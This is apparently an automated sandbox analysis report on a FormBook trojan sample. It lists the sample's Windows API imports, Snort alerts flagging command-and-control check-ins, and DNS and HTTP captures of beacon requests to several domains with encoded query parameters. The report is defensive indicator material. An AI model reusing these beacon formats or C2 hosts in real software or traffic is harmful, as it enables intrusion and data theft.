LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, SetFileAttributesW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetSystemDirectoryW, HeapReAlloc, HeapSize, GetComputerNameW, GetWindowsDirectoryW, GetCurrentProcessId, GetProcessIoCounters, CreateProcessW, GetProcessId, SetPriorityClass, LoadLibraryW, VirtualAlloc, IsDebuggerPresent, GetCurrentDirectoryW, lstrcmpiW, DecodePointer, GetLastError, RaiseException, InitializeCriticalSectionAndSpinCount, DeleteCriticalSection, InterlockedDecrement, InterlockedIncrement, GetCurrentThread, CloseHandle, GetFullPathNameW, EncodePointer, ExitProcess, GetModuleHandleExW, ExitThread, GetSystemTimeAsFileTime, ResumeThread, GetCommandLineW, IsProcessorFeaturePresent, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, SetLastError, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetStartupInfoW, GetStringTypeW, SetStdHandle, GetFileType, GetConsoleCP, GetConsoleMode, RtlUnwind, ReadConsoleW, GetTimeZoneInformation, GetDateFormatW, GetTimeFormatW, LCMapStringW, GetEnvironmentStringsW, FreeEnvironmentStringsW, WriteConsoleW, FindClose, SetEnvironmentVariableA
                                              USER32.dllAdjustWindowRectEx, CopyImage, SetWindowPos, GetCursorInfo, RegisterHotKey, ClientToScreen, GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, MonitorFromPoint, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, CallWindowProcW, ReleaseCapture, SetCapture, CreateIconFromResourceEx, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, DeleteMenu, SetRect, GetMenuItemID, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, MonitorFromRect, keybd_event, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowLongW, GetWindowThreadProcessId, AttachThreadInput, GetFocus, GetWindowTextW, ScreenToClient, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, GetUserObjectSecurity, MessageBoxW, DefWindowProcW, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, GetMessageW, LockWindowUpdate, DispatchMessageW, TranslateMessage, PeekMessageW, UnregisterHotKey, CheckMenuRadioItem, CharLowerBuffW, MoveWindow, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, SystemParametersInfoW, LoadImageW, GetClassNameW
                                              GDI32.dllStrokePath, DeleteObject, GetTextExtentPoint32W, ExtCreatePen, GetDeviceCaps, EndPath, SetPixel, CloseFigure, CreateCompatibleBitmap, CreateCompatibleDC, SelectObject, StretchBlt, GetDIBits, LineTo, AngleArc, MoveToEx, Ellipse, DeleteDC, GetPixel, CreateDCW, GetStockObject, GetTextFaceW, CreateFontW, SetTextColor, PolyDraw, BeginPath, Rectangle, SetViewportOrgEx, GetObjectW, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, StrokeAndFillPath
                                              COMDLG32.dllGetOpenFileNameW, GetSaveFileNameW
                                              ADVAPI32.dllGetAce, RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegEnumKeyExW, RegSetValueExW, RegOpenKeyExW, RegCloseKey, RegQueryValueExW, RegConnectRegistryW, InitializeSecurityDescriptor, InitializeAcl, AdjustTokenPrivileges, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, GetLengthSid, CopySid, LogonUserW, AllocateAndInitializeSid, CheckTokenMembership, RegCreateKeyExW, FreeSid, GetTokenInformation, GetSecurityDescriptorDacl, GetAclInformation, AddAce, SetSecurityDescriptorDacl, GetUserNameW, InitiateSystemShutdownExW
                                              SHELL32.dllDragQueryPoint, ShellExecuteExW, DragQueryFileW, SHEmptyRecycleBinW, SHGetPathFromIDListW, SHBrowseForFolderW, SHCreateShellItem, SHGetDesktopFolder, SHGetSpecialFolderLocation, SHGetFolderPathW, SHFileOperationW, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW, DragFinish
                                              ole32.dllCoTaskMemAlloc, CoTaskMemFree, CLSIDFromString, ProgIDFromCLSID, CLSIDFromProgID, OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CoCreateInstance, IIDFromString, StringFromGUID2, CreateStreamOnHGlobal, OleInitialize, OleUninitialize, CoInitialize, CoUninitialize, GetRunningObjectTable, CoGetInstanceFromFile, CoGetObject, CoSetProxyBlanket, CoCreateInstanceEx, CoInitializeSecurity
                                              OLEAUT32.dllLoadTypeLibEx, VariantCopyInd, SysReAllocString, SysFreeString, SafeArrayDestroyDescriptor, SafeArrayDestroyData, SafeArrayUnaccessData, SafeArrayAccessData, SafeArrayAllocData, SafeArrayAllocDescriptorEx, SafeArrayCreateVector, RegisterTypeLib, CreateStdDispatch, DispCallFunc, VariantChangeType, SysStringLen, VariantTimeToSystemTime, VarR8FromDec, SafeArrayGetVartype, VariantCopy, VariantClear, OleLoadPicture, QueryPathOfRegTypeLib, RegisterTypeLibForUser, UnRegisterTypeLibForUser, UnRegisterTypeLib, CreateDispTypeInfo, SysAllocString, VariantInit

                                              Possible Origin

                                              Language of compilation systemCountry where language is spokenMap
                                              EnglishGreat Britain

                                              Network Behavior

                                              Snort IDS Alerts

                                              TimestampProtocolSIDMessageSource PortDest PortSource IPDest IP
                                              07/01/24-15:30:51.983298TCP2031412ET TROJAN FormBook CnC Checkin (GET)4970980192.168.2.73.33.130.190
                                              07/01/24-15:31:32.789277TCP2031412ET TROJAN FormBook CnC Checkin (GET)4971180192.168.2.713.248.169.48
                                              07/01/24-15:31:12.172123TCP2031412ET TROJAN FormBook CnC Checkin (GET)4971080192.168.2.73.64.163.50
                                              07/01/24-15:32:34.341760TCP2031412ET TROJAN FormBook CnC Checkin (GET)4971480192.168.2.7198.185.159.144
                                              07/01/24-15:31:53.227278TCP2031412ET TROJAN FormBook CnC Checkin (GET)4971280192.168.2.73.64.163.50
                                              07/01/24-15:29:30.423557TCP2031412ET TROJAN FormBook CnC Checkin (GET)4970580192.168.2.723.227.38.74
                                              07/01/24-15:32:13.734174TCP2031412ET TROJAN FormBook CnC Checkin (GET)4971380192.168.2.7185.53.179.91
                                              07/01/24-15:32:56.063365TCP2031412ET TROJAN FormBook CnC Checkin (GET)4971580192.168.2.7104.194.9.178
                                              07/01/24-15:30:10.443049TCP2031412ET TROJAN FormBook CnC Checkin (GET)4970880192.168.2.7192.0.78.25
                                              07/01/24-15:29:09.673186TCP2031412ET TROJAN FormBook CnC Checkin (GET)4970480192.168.2.752.86.6.113

                                              Network Port Distribution

                                              TCP Packets

                                              TimestampSource PortDest PortSource IPDest IP
                                              Jul 1, 2024 15:29:09.668111086 CEST4970480192.168.2.752.86.6.113
                                              Jul 1, 2024 15:29:09.673006058 CEST804970452.86.6.113192.168.2.7
                                              Jul 1, 2024 15:29:09.673121929 CEST4970480192.168.2.752.86.6.113
                                              Jul 1, 2024 15:29:09.673186064 CEST4970480192.168.2.752.86.6.113
                                              Jul 1, 2024 15:29:09.678571939 CEST804970452.86.6.113192.168.2.7
                                              Jul 1, 2024 15:29:10.149399042 CEST804970452.86.6.113192.168.2.7
                                              Jul 1, 2024 15:29:10.149585962 CEST804970452.86.6.113192.168.2.7
                                              Jul 1, 2024 15:29:10.149669886 CEST4970480192.168.2.752.86.6.113
                                              Jul 1, 2024 15:29:10.149760008 CEST4970480192.168.2.752.86.6.113
                                              Jul 1, 2024 15:29:10.155780077 CEST804970452.86.6.113192.168.2.7
                                              Jul 1, 2024 15:29:30.418420076 CEST4970580192.168.2.723.227.38.74
                                              Jul 1, 2024 15:29:30.423319101 CEST804970523.227.38.74192.168.2.7
                                              Jul 1, 2024 15:29:30.423429966 CEST4970580192.168.2.723.227.38.74
                                              Jul 1, 2024 15:29:30.423557043 CEST4970580192.168.2.723.227.38.74
                                              Jul 1, 2024 15:29:30.428477049 CEST804970523.227.38.74192.168.2.7
                                              Jul 1, 2024 15:29:30.898504019 CEST804970523.227.38.74192.168.2.7
                                              Jul 1, 2024 15:29:30.898529053 CEST804970523.227.38.74192.168.2.7
                                              Jul 1, 2024 15:29:30.898541927 CEST804970523.227.38.74192.168.2.7
                                              Jul 1, 2024 15:29:30.898587942 CEST4970580192.168.2.723.227.38.74
                                              Jul 1, 2024 15:29:30.898679018 CEST804970523.227.38.74192.168.2.7
                                              Jul 1, 2024 15:29:30.898690939 CEST804970523.227.38.74192.168.2.7
                                              Jul 1, 2024 15:29:30.898701906 CEST804970523.227.38.74192.168.2.7
                                              Jul 1, 2024 15:29:30.898719072 CEST4970580192.168.2.723.227.38.74
                                              Jul 1, 2024 15:29:30.898796082 CEST4970580192.168.2.723.227.38.74
                                              Jul 1, 2024 15:29:30.898835897 CEST4970580192.168.2.723.227.38.74
                                              Jul 1, 2024 15:29:30.903518915 CEST804970523.227.38.74192.168.2.7
                                              Jul 1, 2024 15:30:10.434912920 CEST4970880192.168.2.7192.0.78.25
                                              Jul 1, 2024 15:30:10.439811945 CEST8049708192.0.78.25192.168.2.7
                                              Jul 1, 2024 15:30:10.443048954 CEST4970880192.168.2.7192.0.78.25
                                              Jul 1, 2024 15:30:10.443048954 CEST4970880192.168.2.7192.0.78.25
                                              Jul 1, 2024 15:30:10.447936058 CEST8049708192.0.78.25192.168.2.7
                                              Jul 1, 2024 15:30:10.935508966 CEST4970880192.168.2.7192.0.78.25
                                              Jul 1, 2024 15:30:10.936852932 CEST8049708192.0.78.25192.168.2.7
                                              Jul 1, 2024 15:30:10.936980009 CEST8049708192.0.78.25192.168.2.7
                                              Jul 1, 2024 15:30:10.937011957 CEST4970880192.168.2.7192.0.78.25
                                              Jul 1, 2024 15:30:10.937097073 CEST4970880192.168.2.7192.0.78.25
                                              Jul 1, 2024 15:30:10.941001892 CEST8049708192.0.78.25192.168.2.7
                                              Jul 1, 2024 15:30:10.941109896 CEST4970880192.168.2.7192.0.78.25
                                              Jul 1, 2024 15:30:51.978219986 CEST4970980192.168.2.73.33.130.190
                                              Jul 1, 2024 15:30:51.983118057 CEST80497093.33.130.190192.168.2.7
                                              Jul 1, 2024 15:30:51.983189106 CEST4970980192.168.2.73.33.130.190
                                              Jul 1, 2024 15:30:51.983298063 CEST4970980192.168.2.73.33.130.190
                                              Jul 1, 2024 15:30:51.988157988 CEST80497093.33.130.190192.168.2.7
                                              Jul 1, 2024 15:30:52.470468998 CEST80497093.33.130.190192.168.2.7
                                              Jul 1, 2024 15:30:52.470598936 CEST80497093.33.130.190192.168.2.7
                                              Jul 1, 2024 15:30:52.470796108 CEST4970980192.168.2.73.33.130.190
                                              Jul 1, 2024 15:30:52.470796108 CEST4970980192.168.2.73.33.130.190
                                              Jul 1, 2024 15:30:52.475718975 CEST80497093.33.130.190192.168.2.7
                                              Jul 1, 2024 15:31:12.167009115 CEST4971080192.168.2.73.64.163.50
                                              Jul 1, 2024 15:31:12.172009945 CEST80497103.64.163.50192.168.2.7
                                              Jul 1, 2024 15:31:12.172122955 CEST4971080192.168.2.73.64.163.50
                                              Jul 1, 2024 15:31:12.172122955 CEST4971080192.168.2.73.64.163.50
                                              Jul 1, 2024 15:31:12.176989079 CEST80497103.64.163.50192.168.2.7
                                              Jul 1, 2024 15:31:12.673057079 CEST4971080192.168.2.73.64.163.50
                                              Jul 1, 2024 15:31:12.678479910 CEST80497103.64.163.50192.168.2.7
                                              Jul 1, 2024 15:31:12.678600073 CEST4971080192.168.2.73.64.163.50
                                              Jul 1, 2024 15:31:32.783030033 CEST4971180192.168.2.713.248.169.48
                                              Jul 1, 2024 15:31:32.788057089 CEST804971113.248.169.48192.168.2.7
                                              Jul 1, 2024 15:31:32.789212942 CEST4971180192.168.2.713.248.169.48
                                              Jul 1, 2024 15:31:32.789277077 CEST4971180192.168.2.713.248.169.48
                                              Jul 1, 2024 15:31:32.794156075 CEST804971113.248.169.48192.168.2.7
                                              Jul 1, 2024 15:31:33.258588076 CEST804971113.248.169.48192.168.2.7
                                              Jul 1, 2024 15:31:33.258676052 CEST804971113.248.169.48192.168.2.7
                                              Jul 1, 2024 15:31:33.258883953 CEST4971180192.168.2.713.248.169.48
                                              Jul 1, 2024 15:31:33.258883953 CEST4971180192.168.2.713.248.169.48
                                              Jul 1, 2024 15:31:33.263688087 CEST804971113.248.169.48192.168.2.7
                                              Jul 1, 2024 15:31:53.219916105 CEST4971280192.168.2.73.64.163.50
                                              Jul 1, 2024 15:31:53.224778891 CEST80497123.64.163.50192.168.2.7
                                              Jul 1, 2024 15:31:53.227176905 CEST4971280192.168.2.73.64.163.50
                                              Jul 1, 2024 15:31:53.227277994 CEST4971280192.168.2.73.64.163.50
                                              Jul 1, 2024 15:31:53.232134104 CEST80497123.64.163.50192.168.2.7
                                              Jul 1, 2024 15:31:53.732952118 CEST4971280192.168.2.73.64.163.50
                                              Jul 1, 2024 15:31:53.738140106 CEST80497123.64.163.50192.168.2.7
                                              Jul 1, 2024 15:31:53.738200903 CEST4971280192.168.2.73.64.163.50
                                              Jul 1, 2024 15:32:13.728949070 CEST4971380192.168.2.7185.53.179.91
                                              Jul 1, 2024 15:32:13.733968973 CEST8049713185.53.179.91192.168.2.7
                                              Jul 1, 2024 15:32:13.734080076 CEST4971380192.168.2.7185.53.179.91
                                              Jul 1, 2024 15:32:13.734174013 CEST4971380192.168.2.7185.53.179.91
                                              Jul 1, 2024 15:32:13.738924026 CEST8049713185.53.179.91192.168.2.7
                                              Jul 1, 2024 15:32:14.248614073 CEST4971380192.168.2.7185.53.179.91
                                              Jul 1, 2024 15:32:14.256098986 CEST8049713185.53.179.91192.168.2.7
                                              Jul 1, 2024 15:32:14.256150961 CEST4971380192.168.2.7185.53.179.91
                                              Jul 1, 2024 15:32:34.336802959 CEST4971480192.168.2.7198.185.159.144
                                              Jul 1, 2024 15:32:34.341658115 CEST8049714198.185.159.144192.168.2.7
                                              Jul 1, 2024 15:32:34.341720104 CEST4971480192.168.2.7198.185.159.144
                                              Jul 1, 2024 15:32:34.341759920 CEST4971480192.168.2.7198.185.159.144
                                              Jul 1, 2024 15:32:34.346546888 CEST8049714198.185.159.144192.168.2.7
                                              Jul 1, 2024 15:32:34.815437078 CEST8049714198.185.159.144192.168.2.7
                                              Jul 1, 2024 15:32:34.815469980 CEST8049714198.185.159.144192.168.2.7
                                              Jul 1, 2024 15:32:34.815578938 CEST4971480192.168.2.7198.185.159.144
                                              Jul 1, 2024 15:32:34.815628052 CEST8049714198.185.159.144192.168.2.7
                                              Jul 1, 2024 15:32:34.815643072 CEST4971480192.168.2.7198.185.159.144
                                              Jul 1, 2024 15:32:34.815771103 CEST4971480192.168.2.7198.185.159.144
                                              Jul 1, 2024 15:32:34.820611954 CEST8049714198.185.159.144192.168.2.7

                                              UDP Packets

                                              TimestampSource PortDest PortSource IPDest IP
                                              Jul 1, 2024 15:28:29.269695044 CEST6376853192.168.2.71.1.1.1
                                              Jul 1, 2024 15:29:09.452167034 CEST5040353192.168.2.71.1.1.1
                                              Jul 1, 2024 15:29:09.667346001 CEST53504031.1.1.1192.168.2.7
                                              Jul 1, 2024 15:29:30.155035019 CEST4960753192.168.2.71.1.1.1
                                              Jul 1, 2024 15:29:30.417577982 CEST53496071.1.1.1192.168.2.7
                                              Jul 1, 2024 15:30:10.390908957 CEST5822053192.168.2.71.1.1.1
                                              Jul 1, 2024 15:30:10.427697897 CEST53582201.1.1.1192.168.2.7
                                              Jul 1, 2024 15:30:31.194092989 CEST5247153192.168.2.71.1.1.1
                                              Jul 1, 2024 15:30:31.208904028 CEST53524711.1.1.1192.168.2.7
                                              Jul 1, 2024 15:30:51.671173096 CEST6461153192.168.2.71.1.1.1
                                              Jul 1, 2024 15:30:51.977305889 CEST53646111.1.1.1192.168.2.7
                                              Jul 1, 2024 15:31:12.139944077 CEST6459053192.168.2.71.1.1.1
                                              Jul 1, 2024 15:31:12.166419029 CEST53645901.1.1.1192.168.2.7
                                              Jul 1, 2024 15:31:32.743033886 CEST6065853192.168.2.71.1.1.1
                                              Jul 1, 2024 15:31:32.761506081 CEST53606581.1.1.1192.168.2.7
                                              Jul 1, 2024 15:31:53.203071117 CEST5810553192.168.2.71.1.1.1
                                              Jul 1, 2024 15:31:53.218349934 CEST53581051.1.1.1192.168.2.7
                                              Jul 1, 2024 15:32:13.655411005 CEST5111253192.168.2.71.1.1.1
                                              Jul 1, 2024 15:32:13.728060007 CEST53511121.1.1.1192.168.2.7
                                              Jul 1, 2024 15:32:34.296474934 CEST6444853192.168.2.71.1.1.1
                                              Jul 1, 2024 15:32:34.335988998 CEST53644481.1.1.1192.168.2.7
                                              Jul 1, 2024 15:32:55.499119043 CEST5490253192.168.2.71.1.1.1
                                              Jul 1, 2024 15:32:56.049114943 CEST53549021.1.1.1192.168.2.7

                                              DNS Queries

                                              TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                              Jul 1, 2024 15:28:29.269695044 CEST192.168.2.71.1.1.10x8113Standard query (0)time.windows.comA (IP address)IN (0x0001)false
                                              Jul 1, 2024 15:29:09.452167034 CEST192.168.2.71.1.1.10xc648Standard query (0)www.cn-brand.comA (IP address)IN (0x0001)false
                                              Jul 1, 2024 15:29:30.155035019 CEST192.168.2.71.1.1.10x2bc7Standard query (0)www.asmauardotreschicshoes.comA (IP address)IN (0x0001)false
                                              Jul 1, 2024 15:30:10.390908957 CEST192.168.2.71.1.1.10xfa7dStandard query (0)www.femininequantumflowcoach.comA (IP address)IN (0x0001)false
                                              Jul 1, 2024 15:30:31.194092989 CEST192.168.2.71.1.1.10x2af4Standard query (0)www.wizardatm.comA (IP address)IN (0x0001)false
                                              Jul 1, 2024 15:30:51.671173096 CEST192.168.2.71.1.1.10xe394Standard query (0)www.zangbreaker.comA (IP address)IN (0x0001)false
                                              Jul 1, 2024 15:31:12.139944077 CEST192.168.2.71.1.1.10x794Standard query (0)www.babyscan.xyzA (IP address)IN (0x0001)false
                                              Jul 1, 2024 15:31:32.743033886 CEST192.168.2.71.1.1.10x76ffStandard query (0)www.scarytube.worldA (IP address)IN (0x0001)false
                                              Jul 1, 2024 15:31:53.203071117 CEST192.168.2.71.1.1.10x3d4cStandard query (0)www.robottts.comA (IP address)IN (0x0001)false
                                              Jul 1, 2024 15:32:13.655411005 CEST192.168.2.71.1.1.10xb5f4Standard query (0)www.gb-electric-wheelchairs-8j.bondA (IP address)IN (0x0001)false
                                              Jul 1, 2024 15:32:34.296474934 CEST192.168.2.71.1.1.10xfdf8Standard query (0)www.lostaino.comA (IP address)IN (0x0001)false
                                              Jul 1, 2024 15:32:55.499119043 CEST192.168.2.71.1.1.10x2f27Standard query (0)www.modleavedepts.onlineA (IP address)IN (0x0001)false

                                              DNS Answers

                                              TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                              Jul 1, 2024 15:28:29.277179003 CEST1.1.1.1192.168.2.70x8113No error (0)time.windows.comtwc.trafficmanager.netCNAME (Canonical name)IN (0x0001)false
                                              Jul 1, 2024 15:29:09.667346001 CEST1.1.1.1192.168.2.70xc648No error (0)www.cn-brand.comtraff-4.hugedomains.comCNAME (Canonical name)IN (0x0001)false
                                              Jul 1, 2024 15:29:09.667346001 CEST1.1.1.1192.168.2.70xc648No error (0)traff-4.hugedomains.comhdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.comCNAME (Canonical name)IN (0x0001)false
                                              Jul 1, 2024 15:29:09.667346001 CEST1.1.1.1192.168.2.70xc648No error (0)hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com52.86.6.113A (IP address)IN (0x0001)false
                                              Jul 1, 2024 15:29:09.667346001 CEST1.1.1.1192.168.2.70xc648No error (0)hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com3.94.41.167A (IP address)IN (0x0001)false
                                              Jul 1, 2024 15:29:30.417577982 CEST1.1.1.1192.168.2.70x2bc7No error (0)www.asmauardotreschicshoes.comshops.myshopify.comCNAME (Canonical name)IN (0x0001)false
                                              Jul 1, 2024 15:29:30.417577982 CEST1.1.1.1192.168.2.70x2bc7No error (0)shops.myshopify.com23.227.38.74A (IP address)IN (0x0001)false
                                              Jul 1, 2024 15:30:10.427697897 CEST1.1.1.1192.168.2.70xfa7dNo error (0)www.femininequantumflowcoach.comfemininequantumflowcoach.comCNAME (Canonical name)IN (0x0001)false
                                              Jul 1, 2024 15:30:10.427697897 CEST1.1.1.1192.168.2.70xfa7dNo error (0)femininequantumflowcoach.com192.0.78.25A (IP address)IN (0x0001)false
                                              Jul 1, 2024 15:30:10.427697897 CEST1.1.1.1192.168.2.70xfa7dNo error (0)femininequantumflowcoach.com192.0.78.24A (IP address)IN (0x0001)false
                                              Jul 1, 2024 15:30:31.208904028 CEST1.1.1.1192.168.2.70x2af4Name error (3)www.wizardatm.comnonenoneA (IP address)IN (0x0001)false
                                              Jul 1, 2024 15:30:51.977305889 CEST1.1.1.1192.168.2.70xe394No error (0)www.zangbreaker.comzangbreaker.comCNAME (Canonical name)IN (0x0001)false
                                              Jul 1, 2024 15:30:51.977305889 CEST1.1.1.1192.168.2.70xe394No error (0)zangbreaker.com3.33.130.190A (IP address)IN (0x0001)false
                                              Jul 1, 2024 15:30:51.977305889 CEST1.1.1.1192.168.2.70xe394No error (0)zangbreaker.com15.197.148.33A (IP address)IN (0x0001)false
                                              Jul 1, 2024 15:31:12.166419029 CEST1.1.1.1192.168.2.70x794No error (0)www.babyscan.xyz3.64.163.50A (IP address)IN (0x0001)false
                                              Jul 1, 2024 15:31:32.761506081 CEST1.1.1.1192.168.2.70x76ffNo error (0)www.scarytube.world13.248.169.48A (IP address)IN (0x0001)false
                                              Jul 1, 2024 15:31:32.761506081 CEST1.1.1.1192.168.2.70x76ffNo error (0)www.scarytube.world76.223.54.146A (IP address)IN (0x0001)false
                                              Jul 1, 2024 15:31:53.218349934 CEST1.1.1.1192.168.2.70x3d4cNo error (0)www.robottts.com3.64.163.50A (IP address)IN (0x0001)false
                                              Jul 1, 2024 15:32:13.728060007 CEST1.1.1.1192.168.2.70xb5f4No error (0)www.gb-electric-wheelchairs-8j.bond185.53.179.91A (IP address)IN (0x0001)false
                                              Jul 1, 2024 15:32:34.335988998 CEST1.1.1.1192.168.2.70xfdf8No error (0)www.lostaino.comext-sq.squarespace.comCNAME (Canonical name)IN (0x0001)false
                                              Jul 1, 2024 15:32:34.335988998 CEST1.1.1.1192.168.2.70xfdf8No error (0)ext-sq.squarespace.com198.185.159.144A (IP address)IN (0x0001)false
                                              Jul 1, 2024 15:32:34.335988998 CEST1.1.1.1192.168.2.70xfdf8No error (0)ext-sq.squarespace.com198.49.23.145A (IP address)IN (0x0001)false
                                              Jul 1, 2024 15:32:34.335988998 CEST1.1.1.1192.168.2.70xfdf8No error (0)ext-sq.squarespace.com198.185.159.145A (IP address)IN (0x0001)false
                                              Jul 1, 2024 15:32:34.335988998 CEST1.1.1.1192.168.2.70xfdf8No error (0)ext-sq.squarespace.com198.49.23.144A (IP address)IN (0x0001)false
                                              Jul 1, 2024 15:32:56.049114943 CEST1.1.1.1192.168.2.70x2f27No error (0)www.modleavedepts.onlinemodleavedepts.onlineCNAME (Canonical name)IN (0x0001)false
                                              Jul 1, 2024 15:32:56.049114943 CEST1.1.1.1192.168.2.70x2f27No error (0)modleavedepts.online104.194.9.178A (IP address)IN (0x0001)false

                                              HTTP Request Dependency Graph

                                              • www.cn-brand.com
                                              • www.asmauardotreschicshoes.com
                                              • www.femininequantumflowcoach.com
                                              • www.zangbreaker.com
                                              • www.babyscan.xyz
                                              • www.scarytube.world
                                              • www.robottts.com
                                              • www.gb-electric-wheelchairs-8j.bond
                                              • www.lostaino.com

                                              HTTP Packets

                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                              0192.168.2.74970452.86.6.113804056C:\Windows\explorer.exe
                                              TimestampBytes transferredDirectionData
                                              Jul 1, 2024 15:29:09.673186064 CEST173OUTGET /ts59/?7n=6XBHEvjpc5M3V6LIfIX8DkkGcsaew2r6P99WVPRIfudOyKrWJ/Ql+0StQIWY9mDv/yxfQ54Ieg==&2d8=3fe8kxnx8zVX-2L HTTP/1.1
                                              Host: www.cn-brand.com
                                              Connection: close
                                              Data Raw: 00 00 00 00 00 00 00
                                              Data Ascii:
                                              Jul 1, 2024 15:29:10.149399042 CEST170INHTTP/1.1 302 Found
                                              content-length: 0
                                              date: Mon, 01 Jul 2024 13:29:09 GMT
                                              location: https://www.hugedomains.com/domain_profile.cfm?d=cn-brand.com
                                              connection: close


                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                              1192.168.2.74970523.227.38.74804056C:\Windows\explorer.exe
                                              TimestampBytes transferredDirectionData
                                              Jul 1, 2024 15:29:30.423557043 CEST187OUTGET /ts59/?7n=mlngg5Tq8mAbovLDpSTQPdURm3XRXD2izxcBP0x82yVhlreLb+x9gDDmRHWXZVcg0gqB6qNybQ==&2d8=3fe8kxnx8zVX-2L HTTP/1.1
                                              Host: www.asmauardotreschicshoes.com
                                              Connection: close
                                              Data Raw: 00 00 00 00 00 00 00
                                              Data Ascii:
                                              Jul 1, 2024 15:29:30.898504019 CEST1236INHTTP/1.1 403 Forbidden
                                              Date: Mon, 01 Jul 2024 13:29:30 GMT
                                              Content-Type: text/html; charset=UTF-8
                                              Content-Length: 4514
                                              Connection: close
                                              X-Frame-Options: SAMEORIGIN
                                              Referrer-Policy: same-origin
                                              Cache-Control: max-age=15
                                              Expires: Mon, 01 Jul 2024 13:29:45 GMT
                                              Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6HtJyd%2Bvz2%2F3a0dF9fXmG6o9he9firTEuMYsDco1AoWWycrEkIXplX47vWYl43fhfRrcZco4ffTEQRvbkk9QywI5EJytBkul4RumcI14FWQDYKiFWXIYzHdUmXPtRIfy7o96tan3DNtmCyFgSZL0hg%3D%3D"}],"group":"cf-nel","max_age":604800}
                                              NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800}
                                              Server-Timing: cfRequestDuration;dur=7.999897
                                              X-XSS-Protection: 1; mode=block
                                              X-Content-Type-Options: nosniff
                                              X-Permitted-Cross-Domain-Policies: none
                                              X-Download-Options: noopen
                                              Server: cloudflare
                                              CF-RAY: 89c6becfcb3e43ac-EWR
                                              alt-svc: h3=":443"; ma=86400
